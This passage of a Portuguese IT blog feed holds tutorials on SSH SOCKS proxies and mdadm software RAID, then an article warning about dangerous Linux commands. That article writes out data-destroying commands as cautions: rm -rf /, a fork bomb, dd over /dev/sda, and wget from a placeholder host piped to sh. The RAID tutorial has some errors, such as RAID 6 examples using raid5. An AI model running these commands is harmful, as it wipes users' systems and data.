<h3>Instalação do OpenSSH Server</h3>
<p>Se ainda não tem o OpenSSH Server instalado no seu servidor que vai fazer de proxy, pode instalá-lo com o seguinte comando, desde que seja uma distribuição baseada em Debian / Ubuntu:</p>
<pre>sudo apt update
sudo apt install openssh-server
</pre>
<p>Certifique-se de que o serviço está ativo e a executar corretamente com:</p>
<pre>sudo systemctl status ssh
</pre>
<h3>Configuração do Servidor SSH (Opcional)</h3>
<p>Por defeito, o OpenSSH escuta na porta 22. Pode ajustar configurações adicionais editando o ficheiro /etc/ssh/sshd_config, como alterar a porta, restringir o acesso a certos utilizadores, etc. Se realizar alterações, lembre-se de reiniciar o serviço SSH:</p>
<pre>sudo systemctl restart ssh</pre>
<h3>Utilização do SSH como um Proxy SOCKS5</h3>
<p>Para configurar um túnel SSH que funcione como um proxy SOCKS5, utilize o seguinte comando a partir do seu cliente (não no servidor). Este comando estabelece um túnel SSH que escuta localmente na sua máquina na porta especificada (por exemplo, 1080) e redireciona o tráfego através do servidor SSH:</p>
<pre>ssh -D 1080 -C -q -N utilizador@endereço_servidor</pre>
<ul>
<li>-D 1080 especifica que o SSH deve criar um proxy SOCKS5 na porta local 1080.</li>
<li>-C comprime os dados antes de enviar.</li>
<li>-q habilita o modo silencioso que minimiza as mensagens de log.</li>
<li>-N indica que não sejam executados comandos remotos, útil quando apenas deseja estabelecer o túnel.</li>
<li>utilizador é o seu nome de utilizador no servidor SSH.</li>
<li>endereço_servidor é o endereço IP ou domínio do seu servidor SSH.</li>
</ul>
<p>Neste ponto, mencionamos que com a opção -D deve-se indicar apenas a porta, pois se expor a porta a toda a rede pode permitir que outros equipamentos da rede utilizem este proxy sem autenticação:</p>
<pre>[ger@ger-pc ~]$ ssh <strong>-D 0.0.0.0:1081</strong> root@192.168.54.100</pre>
<p>Se verificarmos com o comando <em>ss</em> ou <em>netstat</em>, podemos ver que está a escutar em todas as redes:</p>
<pre>[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 <strong>0.0.0.0:1081</strong> 0.0.0.0:* users:(("ssh",pid=292405,fd=4)) 
[ger@ger-pc ~]$</pre>
<p>No entanto, se conectarmos especificando apenas a porta sem 0.0.0.0 ou sem qualquer IP, o fará apenas no localhost:</p>
<pre>[ger@ger-pc ~]$ ssh <strong>-D 1081</strong> root@192.168.54.100

.......

[ger@ger-pc ~]$ ss -putan|grep 1081
tcp LISTEN 0 128 <strong>127.0.0.1:1081</strong> 0.0.0.0:* users:(("ssh",pid=292485,fd=5)) 
tcp LISTEN 0 128 [::1]:1081 [::]:* users:(("ssh",pid=292485,fd=4)) 
[ger@ger-pc ~]$</pre>
<h3>Conexão através do Proxy SOCKS5:</h3>
<p>Agora pode configurar o seu navegador ou aplicação para utilizar o proxy SOCKS5 no localhost e na porta 1080. Cada aplicação tem uma maneira diferente de configurar isto, por isso, precisará rever as preferências ou a documentação da aplicação.</p>
<p>Automatização da Conexão (Opcional):<br />
Se precisar que o túnel se estabeleça automaticamente ao início ou sem interação manual, pode considerar utilizar uma ferramenta como autossh para manter a conexão do túnel aberta e reconectar em caso de queda.</p>
<p>Esta é uma forma eficaz de estabelecer um proxy SOCKS5 rápido para um utilizador ou alguns utilizadores, especialmente útil para contornar restrições de rede ou proteger o seu tráfego em redes não confiáveis. A principal vantagem deste método é a sua simplicidade e que aproveita a infraestrutura SSH existente, sem necessidade de configurar software adicional no servidor.</p>
<p><iframe title="YouTube video player" src="https://www.youtube.com/embed/RJKSfIqiU3Q?si=I-d4Jyf0kK_ztrjT" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La entrada <a href="https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/">Criar proxy socks com dante e com openssh</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/criar-proxy-socks-com-dante-e-com-openssh/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Como criar um software RAID em linux com mdadm</title>
		<link>https://aprendeit.com/pt/como-criar-um-software-raid-em-linux-com-mdadm/</link>
					<comments>https://aprendeit.com/pt/como-criar-um-software-raid-em-linux-com-mdadm/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Fri, 15 Mar 2024 17:43:28 +0000</pubDate>
				<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=2539</guid>

					<description><![CDATA[<p>Hoje quisemos alargar este artigo sobre como criar um software RAID em linux com mdadm. Começamos com a teoria. O que é um RAID? Um raid de discos pode ser ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/como-criar-um-software-raid-em-linux-com-mdadm/">Como criar um software RAID em linux com mdadm</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hoje quisemos alargar este artigo sobre como criar um software RAID em linux com mdadm. Começamos com a teoria.</p>
<h3><b>O que é um RAID?</b></h3>
<p>Um raid de discos pode ser definido como um grupo ou conjunto de discos independentes, de facto RAID é um acrónimo de Redundant Array of Independent Disks. Os discos são unificados por software ou hardware para redundar dados e/ou utilizar a capacidade total de cada disco em conjunto. Isto será mais fácil de compreender quando mais tarde definirmos cada tipo de RAID.</p>
<h3><b>Diferença entre RAID por hardware e RAID por software</b></h3>
<h4><strong>O que é software RAID?</strong></h4>
<p>O RAID por software é, como o nome indica, uma aplicação que permite a criação de RAID a um nível lógico a partir de discos ligados ao nosso equipamento. Este software cria um sistema de ficheiros em que funciona comportando-se de acordo com o tipo de RAID configurado.</p>
<h4><strong>O que é RAID Hardware?</strong></h4>
<p>Um raid de hardware é um dispositivo físico que permite a criação de um RAID de discos.  Pode ser uma placa de expansão PCI ou PCIE ou pode ser integrado na placa-mãe, este hardware integra tudo o que é necessário para realizar um RAID sem utilizar o processador ou a RAM do sistema (como regra geral), pode também integrar uma cache. Esta cache pode acelerar as operações de leitura/escrita.</p>
<h4><strong>Quais são as suas principais diferenças e as vantagens de cada uma delas?</strong></h4>
<ul>
<li><span style="font-weight: 400;">O RAID de hardware requer hardware que vem com um custo.<br />
</span></li>
<li><span style="font-weight: 400;">Com RAID por hardware, em caso de falha do disco, basta inserir o novo disco e o RAID é normalmente reconstruído sem quaisquer passos adicionais (como regra geral).<br />
</span></li>
<li><span style="font-weight: 400;">O software RAID evita o ponto de falha de uma única placa RAID. Se esta placa falhar, o RAID não funcionará.<br />
</span></li>
<li><span style="font-weight: 400;">Nos sistemas actuais, a diferença de desempenho em comparação com o RAID por hardware é menos notória, uma vez que os processadores são mais potentes.<br />
</span></li>
<li><span style="font-weight: 400;">O RAID de hardware não utiliza os recursos do processador da máquina anfitriã.</span></li>
</ul>
<h3><b>Níveis RAID mais utilizados</b></h3>
<h3><b style="font-size: 16px;">· RAID 0 (Data Striping, Striped Volume)</b></h3>
<p>Esta rusga toma a capacidade dos discos adicionados e adiciona-os juntos. Por exemplo, se tivermos 2 discos de 1TB com este RAID obteremos um volume de 2TB. Se os discos forem de diferentes capacidades, é sempre necessário o mais baixo a utilizar, bem como as RPM (rotações por minuto) do disco. Ou seja, se tivermos um disco de 2 TB a 7200RPM e outro de 1 TB a 5400RPM, teremos um volume de 2 TB a 5400RPM, ou seja, teremos novamente um volume de 2 TB mas mais lento. É por isso que é importante que os discos sejam semelhantes.</p>
<p>Por outro lado, neste tipo de RAID, o desempenho é uma prioridade mas não a segurança, não há redundância de dados, portanto, se um disco se partir, o volume será corrompido.</p>
<p><img decoding="async" class="aligncenter wp-image-375 size-medium" src="https://aprendeit.com/wp-content/uploads/2018/10/raid-0-173x300.jpg" alt="raid-0" width="173" height="300" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raid-0-173x300.jpg 173w, https://aprendeit.com/wp-content/uploads/2018/10/raid-0-300x520.jpg 300w, https://aprendeit.com/wp-content/uploads/2018/10/raid-0-591x1024.jpg 591w, https://aprendeit.com/wp-content/uploads/2018/10/raid-0.jpg 611w" sizes="(max-width: 173px) 100vw, 173px" /></p>
<p><b>· RAID 1 (espelho)</b></p>
<p>Este RAID, tal como no RAID anterior e em todos os RAIDs anteriores, os discos devem ter a mesma capacidade para evitar o desperdício de discos. Neste modo RAID os dois discos são configurados em espelho, o que significa que todo o conteúdo do disco é replicado noutro disco para cada 2 discos 1 disco é dedicado a dados redundantes. É recomendado para 2 discos. Este RAID tem uma vantagem adicional e que é uma maior velocidade de leitura multi-utilizador, uma vez que os dados podem ser lidos a partir de ambos os discos. No entanto, as escritas são mais lentas, pois têm de ser feitas em ambos os discos.</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-376 size-medium" src="https://aprendeit.com/wp-content/uploads/2018/10/raid-1-173x300.jpg" alt="raid-1" width="173" height="300" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raid-1-173x300.jpg 173w, https://aprendeit.com/wp-content/uploads/2018/10/raid-1-300x520.jpg 300w, https://aprendeit.com/wp-content/uploads/2018/10/raid-1-591x1024.jpg 591w, https://aprendeit.com/wp-content/uploads/2018/10/raid-1.jpg 611w" sizes="(max-width: 173px) 100vw, 173px" /></p>
<p><b>· RAID 5</b></p>
<p>Este RAID é o mais popular devido ao seu baixo custo. Com 3 discos, aproximadamente 75% da capacidade do disco está disponível. Requer apenas um mínimo de 3 discos e suporta a perda completa de um disco. A informação é servida em blocos distribuídos pelo número total de discos, pelo que quanto mais discos, maior o desempenho. Quanto maiores forem os discos, mais tempo demora a reconstruir o RAID no caso de uma falha do disco. Este RAID protege contra falhas, distribuindo o cálculo da paridade por todos os discos e protegendo assim contra possíveis erros de hardware.</p>
<p>O ponto fraco deste tipo de RAID é que se um disco falhar, até ser substituído, o volume fica desprotegido contra a falha de outro disco. É aqui que entram os discos de reserva. Um disco de reserva é um disco de reserva que &#8220;entra em jogo&#8221; quando um dos discos falha, de modo que o número de discos que podem falhar é de dois (desde que o RAID não esteja a ser reconstruído quando o segundo disco falha). Desta forma evitamos o ponto de falha mencionado anteriormente. Quando o disco de reserva é adicionado, este tipo de RAID é também conhecido como RAID 5E. Existem dois tipos de sobressalentes: &#8220;sobressalentes de reserva&#8221; e &#8220;sobressalentes quentes&#8221;.</p>
<p>Se for um disco de reserva, envolve um processo de reconstrução durante a adição do disco de reserva em substituição do disco avariado; no entanto, se for um disco de reserva quente, este tempo é minimizado.</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-377" src="https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-5.jpg" alt="raids-RAID-5" width="293" height="344" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-5.jpg 293w, https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-5-256x300.jpg 256w" sizes="(max-width: 293px) 100vw, 293px" /></p>
<p><b>· RAID 6</b></p>
<p>Digamos que é a evolução do RAID 5, precisa de pelo menos 4 discos. Funciona como RAID 5 mas com dupla banda de paridade que também está espalhada por todos os discos. Este tipo de RAID suporta a falha total de até dois discos, mesmo durante a reconstrução do RAID. É menos utilizado porque quando poucos discos são utilizados, a capacidade de dois discos é desperdiçada porque não atingem o máximo teórico, com 4 discos o RAID terá cerca de metade da capacidade dos discos. Quanto mais discos forem utilizados no RAID, mais capacidade de cada disco é utilizada.</p>
<p>Como no RAID 5, no RAID 6 podem ser adicionados discos sobressalentes (normalmente chamados RAID 6E) para suportar um terceiro disco avariado (o terceiro disco pode falhar sem corromper o volume enquanto o raid não estiver a ser reconstruído).</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-378" src="https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-6.jpg" alt="raids-RAID-6" width="388" height="341" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-6.jpg 388w, https://aprendeit.com/wp-content/uploads/2018/10/raids-RAID-6-300x264.jpg 300w" sizes="(max-width: 388px) 100vw, 388px" /></p>
<h3><b>Niveles RAID anidados</b></h3>
<p>Os níveis de RAID aninhados são &#8220;RAID em RAID&#8221;. Trata-se de um RAID de um tipo montado em cima de RAID(s) de outro tipo. Desta forma, pode tirar partido dos benefícios de cada RAID. Por exemplo:</p>
<ul>
<li>RAID 0+1 : É um espelho de RAIDs 0, ou seja, se tivermos 4 discos, 2 raids 0 são criados com cada par de discos e com os 2 volumes RAID criados é criado um raid 1. Desta forma, adicionamos redundância ao RAID 0.</li>
<li>RAID 1+0: Este é um RAID 0 de dois espelhos (RAID 1). Dois RAID 1 são criados com cada par de discos e com o par de discos RAID 1 criado, é criado um RAID 0.</li>
<li>RAID 50 (5+0): É necessário um mínimo de 6 discos para este RAID. Com cada trio de discos é criado um RAID 5. Depois com cada RAID criado é criado um RAID 0 com o RAID 5 criado. Com 6 discos, é atingido um total de aproximadamente 65% da capacidade do disco.</li>
</ul>

<h3><b>Os tipos RAID mais comuns são</b></h3>
<ul>
<li><span style="background-color: transparent;">RAID 0: Para armazenamento de dados não críticos, dos quais a perda não é importante.<br />
</span></li>
<li><span style="background-color: transparent;">RAID 1: Para sistemas operativos, por exemplo, em servidores. O sistema operativo é normalmente instalado em RAID 1.<br />
</span></li>
<li><span style="background-color: transparent;">RAID 5: Armazenamento em geral, devido ao seu baixo custo e boa fiabilidade.</span></li>
</ul>
<h3><b>Como montar em linux cada tipo de RAID com &#8220;mdadm&#8221;:</b></h3>
<p>Uma incursão no linux é muito fácil de montar utilizando os seguintes passos:</p>
<p><strong>Passo 1:</strong> Instalar mdadm: por defeito não é normalmente instalado no Linux.</p>
<p>Em debian e derivados:</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">apt-get install mdadm</pre>
<p><span style="font-weight: 400;">Em RedHat / CentOS e derivados:</span></p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">yum install mdadm</pre>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-382" src="https://aprendeit.com/wp-content/uploads/2018/10/install-mdadm.png" alt="install-mdadm" width="734" height="496" srcset="https://aprendeit.com/wp-content/uploads/2018/10/install-mdadm.png 734w, https://aprendeit.com/wp-content/uploads/2018/10/install-mdadm-300x203.png 300w" sizes="(max-width: 734px) 100vw, 734px" /><strong>Passo 2:</strong> Os discos a serem incluídos no RAID devem ser preenchidos com zeros para evitar problemas com os sistemas de ficheiros existentes:</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">root@localhost:~# mdadm --zero-superblock /dev/hdb /dev/hdc</pre>
<p>(E tantos outros discos para usar) ou com DD:</p>
<p><img loading="lazy" decoding="async" class="aligncenter size-full wp-image-383" src="https://aprendeit.com/wp-content/uploads/2018/10/DD.jpg" alt="dd" width="734" height="496" srcset="https://aprendeit.com/wp-content/uploads/2018/10/DD.jpg 734w, https://aprendeit.com/wp-content/uploads/2018/10/DD-300x203-2.jpg 300w" sizes="(max-width: 734px) 100vw, 734px" /></p>
<p><strong>Passo 3:</strong> O próximo passo seria criar o RAID, basicamente com ele:</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/NOMBRERAID --level=raid[NUMERO] --raid-devices=NUMERO_DE_DISCOS /dev/DISCO1 /dev/DISCO2</pre>
<ul>
<li>RAID 0: São seleccionados pelo menos dois discos (por exemplo, vdc e vdd):</li>
</ul>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid0 --raid-devices=2 /dev/vdc /dev/vdd</pre>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-384" src="https://aprendeit.com/wp-content/uploads/2018/10/RAID-0-terminal.png" alt="RAID-0-terminal" width="734" height="197" srcset="https://aprendeit.com/wp-content/uploads/2018/10/RAID-0-terminal.png 777w, https://aprendeit.com/wp-content/uploads/2018/10/RAID-0-terminal-300x81.png 300w, https://aprendeit.com/wp-content/uploads/2018/10/RAID-0-terminal-768x207.png 768w" sizes="(max-width: 734px) 100vw, 734px" /></p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-386" title="Como crear un RAID por software en linux con mdadm" src="https://aprendeit.com/wp-content/uploads/2018/10/mdstat-raid1.png" alt="Como crear un RAID por software en linux con mdadm" width="734" height="452" srcset="https://aprendeit.com/wp-content/uploads/2018/10/mdstat-raid1.png 806w, https://aprendeit.com/wp-content/uploads/2018/10/mdstat-raid1-300x185.png 300w, https://aprendeit.com/wp-content/uploads/2018/10/mdstat-raid1-768x473.png 768w" sizes="(max-width: 734px) 100vw, 734px" /></p>
<ul>
<li>RAID 1: No caso do RAID 1 é melhor seleccionar um máximo de 2 discos / volumes (usamos vdc e vdd como exemplos):</li>
</ul>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid1 --raid-devices=2 /dev/vdc /dev/vdd</pre>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-385" src="https://aprendeit.com/wp-content/uploads/2018/10/raid1.png" alt="raid1" width="734" height="452" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raid1.png 806w, https://aprendeit.com/wp-content/uploads/2018/10/raid1-300x185.png 300w, https://aprendeit.com/wp-content/uploads/2018/10/raid1-768x473.png 768w" sizes="(max-width: 734px) 100vw, 734px" /></p>
<ul>
<li>RAID 5: Pelo menos três discos:</li>
</ul>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid5 --raid-devices=3 /dev/vdb /dev/vdc /dev/vdd</pre>
<p>&nbsp;</p>
<p><img loading="lazy" decoding="async" class="aligncenter wp-image-387" src="https://aprendeit.com/wp-content/uploads/2018/10/raid5.png" alt="raid5" width="734" height="452" srcset="https://aprendeit.com/wp-content/uploads/2018/10/raid5.png 806w, https://aprendeit.com/wp-content/uploads/2018/10/raid5-300x185.png 300w, https://aprendeit.com/wp-content/uploads/2018/10/raid5-768x473.png 768w" sizes="(max-width: 734px) 100vw, 734px" /></p>
<p>Se quisermos um disco de reserva (temos de adicionar todos os discos incluindo o de reserva ao RAID desde o início):</p>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid5 --raid-devices=3 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<ul>
<li>RAID 6: Pelo menos 4 discos</li>
</ul>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid5 --raid-devices=4 /dev/vdb /dev/vdc /dev/vdd /dev/vde</pre>
<p>&nbsp;</p>
<p><span style="font-weight: 400;">E com spares:</span></p>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm -C /dev/md0 --level=raid5 --raid-devices=4 --spare-devices=1 /dev/vdb /dev/vdc /dev/vdd /dev/vde /dev/vdf</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Em caso de falha de um disco RAID só temos de o remover e inserir o novo disco e quando inserimos o novo disco (olhando para o log in /var/log/messages do sistema) executamos:</p>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm --add /dev/RAID /dev/NUEVO_DISCO</pre>
<p>&nbsp;</p>
<p>No caso de querer parar um RAID:</p>
<p>&nbsp;</p>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">mdadm --stop /dev/md0 &amp;&amp; mdadm --remove /dev/md0</pre>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;"><span style="font-weight: 400;">Y para consultar el estado:</span>

</pre>
<pre style="border: 1px; border-color: #333; color: #ffffff; background-color: #666;">cat /proc/mdstat
</pre>
<p>E isso é tudo sobre como criar um RAID de software em linux com mdadm.</p>
<p>Se gostou do artigo, deixe um comentário e/ou partilhe-o nas suas redes sociais.</p>
<p>Até breve!</p>
<p><iframe width="560" height="315" src="https://www.youtube.com/embed/qyYeFczsr7Y?si=tiVh4pmxa7iqvupf" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen></iframe></p>
<p>La entrada <a href="https://aprendeit.com/pt/como-criar-um-software-raid-em-linux-com-mdadm/">Como criar um software RAID em linux com mdadm</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/como-criar-um-software-raid-em-linux-com-mdadm/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Comandos que não devem ser executados no Linux</title>
		<link>https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/</link>
					<comments>https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Sun, 25 Feb 2024 20:30:11 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=6079</guid>

					<description><![CDATA[<p>No vasto mundo do Linux, o terminal é uma ferramenta poderosa que concede aos usuários um controle sem precedentes sobre os seus sistemas. No entanto, com grande poder vem grande ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/">Comandos que não devem ser executados no Linux</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>No vasto mundo do Linux, o terminal é uma ferramenta poderosa que concede aos usuários um controle sem precedentes sobre os seus sistemas. No entanto, com grande poder vem grande responsabilidade. Existem certos comandos que, embora possam parecer inofensivos ou curiosos à primeira vista, podem causar danos irreparáveis ao seu sistema. Neste artigo, exploraremos dez desses comandos letais, explicando em detalhe por que deve mantê-los longe do seu terminal.</p>
<h2>O Devastador rm -rf /</h2>
<p>Começamos com o infame comando rm -rf /, uma sentença que parece simples mas esconde um potencial destrutivo. Este comando apaga todos os ficheiros do sistema, começando pela raiz (/). O modificador -r indica que a eliminação deve ser recursiva, ou seja, afetar todos os ficheiros e diretórios contidos no diretório especificado, enquanto -f força a eliminação sem pedir confirmação. Executar este comando como superusuário significa dizer adeus ao seu sistema operativo, aos seus dados e a qualquer esperança de recuperação fácil.</p>
<p>Em resumo, é preciso ter cuidado ao executar comandos rm recursivos, pois podemos eliminar mais do que queremos:</p>
<ul>
<li>rm -fr *</li>
<li>rm -fr */</li>
<li>rm -fr /*</li>
<li>rm -fr .</li>
<li>rm -fr ..</li>
</ul>
<h2>A Armadilha de :(){ :|: &#038; };:</h2>
<p>Este comando enigmático é um exemplo de uma função fork bomb. Define-se uma função chamada : que, quando executada, chama-se a si mesma duas vezes, e cada chamada é executada em background. Isso causa uma reação em cadeia, duplicando processos indefinidamente e consumindo os recursos do sistema até que este trave. É um ataque de negação de serviço contra a sua própria máquina, levando ao limite a capacidade de processamento e memória.</p>
<p>Para entender melhor, <code>:(){ :|: & };:</code> é o mesmo que executar:</p>
<pre>bomb() {
    bomb | bomb &;
}; bomb
</pre>
<h2>O Perigo de dd if=/dev/zero of=/dev/sda</h2>
<p>O comando dd é uma ferramenta poderosa usada para converter e copiar ficheiros a nível de bloco. Neste contexto, <code>if=/dev/zero</code> define a entrada para um fluxo contínuo de zeros, e <code>of=/dev/sda</code> designa o dispositivo de destino, geralmente o disco rígido principal. Este comando sobrescreve todo o disco com zeros, apagando irreversivelmente o sistema operativo, os programas e os dados do utilizador. É essencial compreender a função de cada parte do comando antes de executar algo tão poderoso como dd.</p>
<h2>Descarregar e Executar um Ficheiro Malicioso</h2>
<p>Por exemplo, o comando <code>wget http://exemplo.com/malicioso.sh -O- | sh</code></p>
<p>Este comando utiliza wget para descarregar um script de um endereço da Internet e executa-o diretamente na shell com sh. O perigo reside em executar código sem rever, proveniente de uma fonte não confiável. Pode tratar-se de um script malicioso desenhado para danificar o seu sistema ou comprometer a sua segurança. É sempre vital verificar o conteúdo dos scripts antes de executá-los.</p>
<h2>Modificação Perigosa de Permissões e Propriedades</h2>
<p>A modificação de permissões com, por exemplo, <code>chmod 777 / -R</code> pode deixar o seu sistema inutilizável.<br />
chmod altera as permissões de ficheiros e diretórios, e 777 concede permissões totais (leitura, escrita e execução) a todos os utilizadores. Aplicar isto de forma recursiva (-R) à raiz (/) elimina qualquer forma de controlo de acesso, expondo o sistema a riscos de segurança graves. Qualquer utilizador poderia modificar qualquer ficheiro, com potenciais consequências desastrosas.</p>
<h2>O Comando chown nobody:nogroup / -R</h2>
<p>Semelhante ao caso anterior, chown altera o proprietário e o grupo de ficheiros e diretórios. Usar nobody:nogroup atribui a propriedade a um utilizador e grupo sem privilégios, aplicado de forma recursiva a partir da raiz, pode deixar o sistema num estado inoperável, uma vez que os serviços e processos críticos poderiam perder o acesso aos ficheiros necessários para o seu funcionamento.</p>
<h2>O Misterioso mv /home/o_seu_usuario/* /dev/null</h2>
<p>Mover ficheiros para o diretório /dev/null é equivalente a eliminá-los, pois /dev/null é um buraco negro no sistema que descarta tudo o que recebe. Este comando, aplicado ao diretório do utilizador, pode resultar na perda de todos os dados pessoais, configurações e ficheiros importantes armazenados no seu home.</p>
<h2>O Perigoso find</h2>
<p>O comando find pode ser muito perigoso, por exemplo, se executarmos o seguinte comando:</p>
<pre>find / -name '*.jpg' -type f -delete</pre>
<p>O que acontece é que find é uma ferramenta versátil para procurar ficheiros no sistema de ficheiros que cumpram com certos critérios. Este comando procura todos os ficheiros .jpg no sistema e elimina-os. Embora possa parecer útil para libertar espaço, eliminar indiscriminadamente ficheiros baseando-se apenas na sua extensão pode resultar na perda de documentos importantes, memórias e recursos.</p>
<p>&nbsp;</p>
<h2>Causar um Kernel Panic</h2>
<p>O seguinte comando é capaz de causar um kernel panic:</p>
<pre>echo 1 &gt; /proc/sys/kernel/panic;</pre>
<p>Provocar um erro de Kernel Panic no Linux é comparável à temida tela azul da morte no Windows, desmistificando a crença de que o Linux é infalível. Através de certos comandos, como redirecionar dados aleatórios para dispositivos críticos do sistema ou manipular diretamente a memória, pode forçar o Linux a entrar num estado de pânico do kernel, tornando o sistema irrecuperável sem um reinício. Estes comandos são altamente arriscados e podem resultar na perda de dados ou na corrupção do sistema.</p>
<h2>Sobrescrever o Disco de Sistema com a Saída de um Comando</h2>
<p>Sobrescrever o disco rígido no Linux, usando comandos que redirecionam a saída de qualquer comando Bash diretamente para um dispositivo de disco (<code>/dev/hda</code>), pode resultar na perda total de dados. Este processo é irreversível e difere da formatação, pois implica escrever dados brutos sobre toda a unidade, tornando-a inutilizável. É uma ação altamente perigosa sem benefício prático na maioria dos contextos.</p>
<p>Um exemplo disto seria:</p>
<pre>comando1 &gt; /dev/sda1</pre>
<h2>Proteja o Seu Sistema, Proteja a Sua Paz de Espírito</h2>
<p>Explorar e experimentar com o Linux pode ser uma experiência recompensadora e educativa. No entanto, é crucial fazê-lo com conhecimento e precaução. Os comandos discutidos aqui representam apenas uma fração do que é possível (e potencialmente perigoso) no terminal. A regra de ouro é simples: se não tem a certeza do que um comando faz, investigue antes de executá-lo. Proteger o seu sistema é proteger o seu trabalho, as suas memórias e, em última análise, a sua paz de espírito.</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><iframe title="Reprodutor de vídeo do YouTube" src="https://www.youtube.com/embed/ngutA5TEOak?si=bdkwpKt6Fi089bk0" width="560" height="315" frameborder="0" allowfullscreen="allowfullscreen"></iframe></p>
<p>La entrada <a href="https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/">Comandos que não devem ser executados no Linux</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://aprendeit.com/pt/comandos-que-nao-devem-ser-executados-no-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Testes de Desempenho em Linux com UnixBench</title>
		<link>https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/</link>
					<comments>https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/#respond</comments>
		
		<dc:creator><![CDATA[Gerardo G. Urtiaga]]></dc:creator>
		<pubDate>Tue, 26 Dec 2023 06:46:32 +0000</pubDate>
				<category><![CDATA[Basico-Linux]]></category>
		<category><![CDATA[Sistemas]]></category>
		<guid isPermaLink="false">https://aprendeit.com/?p=5984</guid>

					<description><![CDATA[<p>Para entusiastas de Linux, realizar testes de desempenho é fundamental para aproveitar ao máximo os seus sistemas. UnixBench é uma ferramenta essencial neste processo, oferecendo uma análise detalhada do desempenho ...</p>
<p>La entrada <a href="https://aprendeit.com/pt/testes-de-desempenho-em-linux-com-unixbench/">Testes de Desempenho em Linux com UnixBench</a> se publicó primero en <a href="https://aprendeit.com/pt/aprende-it">Aprende IT</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Para entusiastas de Linux, realizar testes de desempenho é fundamental para aproveitar ao máximo os seus sistemas. UnixBench é uma ferramenta essencial neste processo, oferecendo uma análise detalhada do desempenho dos sistemas Linux e Unix.</p>
<h2>O que é UnixBench?</h2>
<p>UnixBench é um conjunto de testes de desempenho de código aberto projetado para sistemas Unix e Linux. Caracteriza-se pela facilidade de uso e profundidade, permitindo medir o desempenho de vários componentes do sistema.</p>
<h2>Instalação do UnixBench</h2>
